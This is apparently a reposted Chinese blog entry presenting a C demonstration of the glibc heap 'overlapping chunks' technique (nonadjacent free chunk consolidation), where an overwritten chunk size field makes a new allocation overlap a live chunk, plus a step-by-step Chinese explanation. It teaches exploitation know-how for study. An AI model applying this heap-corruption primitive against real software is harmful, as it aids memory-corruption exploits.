源代码
1 /* 2 Yet another simple tale of overlapping chunk. 3 4 This technique is taken from 5 https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf. 6 7 This is also referenced as Nonadjacent Free Chunk Consolidation Attack. 8 9 */ 10 11 #include <stdio.h> 12 #include <stdlib.h> 13 #include <string.h> 14 #include <stdint.h> 15 #include <malloc.h> 16 17 int main(){ 18 19 intptr_t *p1,*p2,*p3,*p4,*p5,*p6; 20 unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; 21 int prev_in_use = 0x1; 22 23 fprintf(stderr, "\nThis is a simple chunks overlapping problem"); 24 fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n"); 25 fprintf(stderr, "\nLet‘s start to allocate 5 chunks on the heap:"); 26 27 p1 = malloc(1000); 28 p2 = malloc(1000); 29 p3 = malloc(1000); 30 p4 = malloc(1000); 31 p5 = malloc(1000); 32 33 real_size_p1 = malloc_usable_size(p1); 34 real_size_p2 = malloc_usable_size(p2); 35 real_size_p3 = malloc_usable_size(p3); 36 real_size_p4 = malloc_usable_size(p4); 37 real_size_p5 = malloc_usable_size(p5); 38 39 fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1)); 40 fprintf(stderr, "\nchunk p2 from %p to %p", p2, (unsigned char *)p2+malloc_usable_size(p2)); 41 fprintf(stderr, "\nchunk p3 from %p to %p", p3, (unsigned char *)p3+malloc_usable_size(p3)); 42 fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4)); 43 fprintf(stderr, "\nchunk p5 from %p to %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5)); 44 45 memset(p1,‘A‘,real_size_p1); 46 memset(p2,‘B‘,real_size_p2); 47 memset(p3,‘C‘,real_size_p3); 48 memset(p4,‘D‘,real_size_p4); 49 memset(p5,‘E‘,real_size_p5); 50 51 fprintf(stderr, "\nLet‘s free the chunk p4.\nIn this case this isn‘t coealesced with top chunk since we have p5 bordering top chunk after p4\n"); 52 53 free(p4); 54 55 fprintf(stderr, "\nLet‘s trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n"); 56 57 *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 58 59 fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n"); 60 fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n"); 61 free(p2); 62 63 fprintf(stderr, "\nNow let‘s allocate a new chunk with a size that can be satisfied by the previously freed chunk\n"); 64 65 p6 = malloc(2000); 66 real_size_p6 = malloc_usable_size(p6); 67 68 fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n"); 69 fprintf(stderr, "\nchunk p6 from %p to %p", p6, (unsigned char *)p6+real_size_p6); 70 fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3); 71 72 fprintf(stderr, "\nData inside chunk p3: \n\n"); 73 fprintf(stderr, "%s\n",(char *)p3); 74 75 fprintf(stderr, "\nLet‘s write something inside p6\n"); 76 memset(p6,‘F‘,1500); 77 78 fprintf(stderr, "\nData inside chunk p3: \n\n"); 79 fprintf(stderr, "%s\n",(char *)p3); 80 81 82 }
运行结果
首先申请5个1000字节的堆p1,p2,p3,p4,p5
将5个堆都赋值上A,B,C,D,E以区分
这里因为字节对齐,又造成了每个堆使用了下个堆的prev_size字段
接着释放p4,由于后面有p5,所以不担心和top chunk合并
然后修改p2的size=1000+1000+0x10+1
现在&p2+p2->size=&p4
libc判断p2的下一个堆块为p4,忽略了p3
l将误以为原来的p2+p3这一段内存为一个新的堆p2(这里没有注意到p4的prev_size字段)
然后将p2释放
由于p4处于释放状态,所以p4和p2合并
p3被覆盖在新合并的堆中
申请一个2000字节的堆p6,即使用这个新合并的堆
p3被包含在p6中,又造成了overlapping
修改p6内容即可修改p3内容
与之前的overlapping相比
之前的是释放后修改size,重新申请后覆盖了后面的堆
这个是先修改size,使之大小覆盖了后面的堆,再释放后和已释放的后后个堆合并,包含了要覆盖的堆
重新申请后即可覆盖包含的堆的内容
原文地址:https://www.cnblogs.com/pfcode/p/10992467.html
时间: 2024-10-19 01:05:09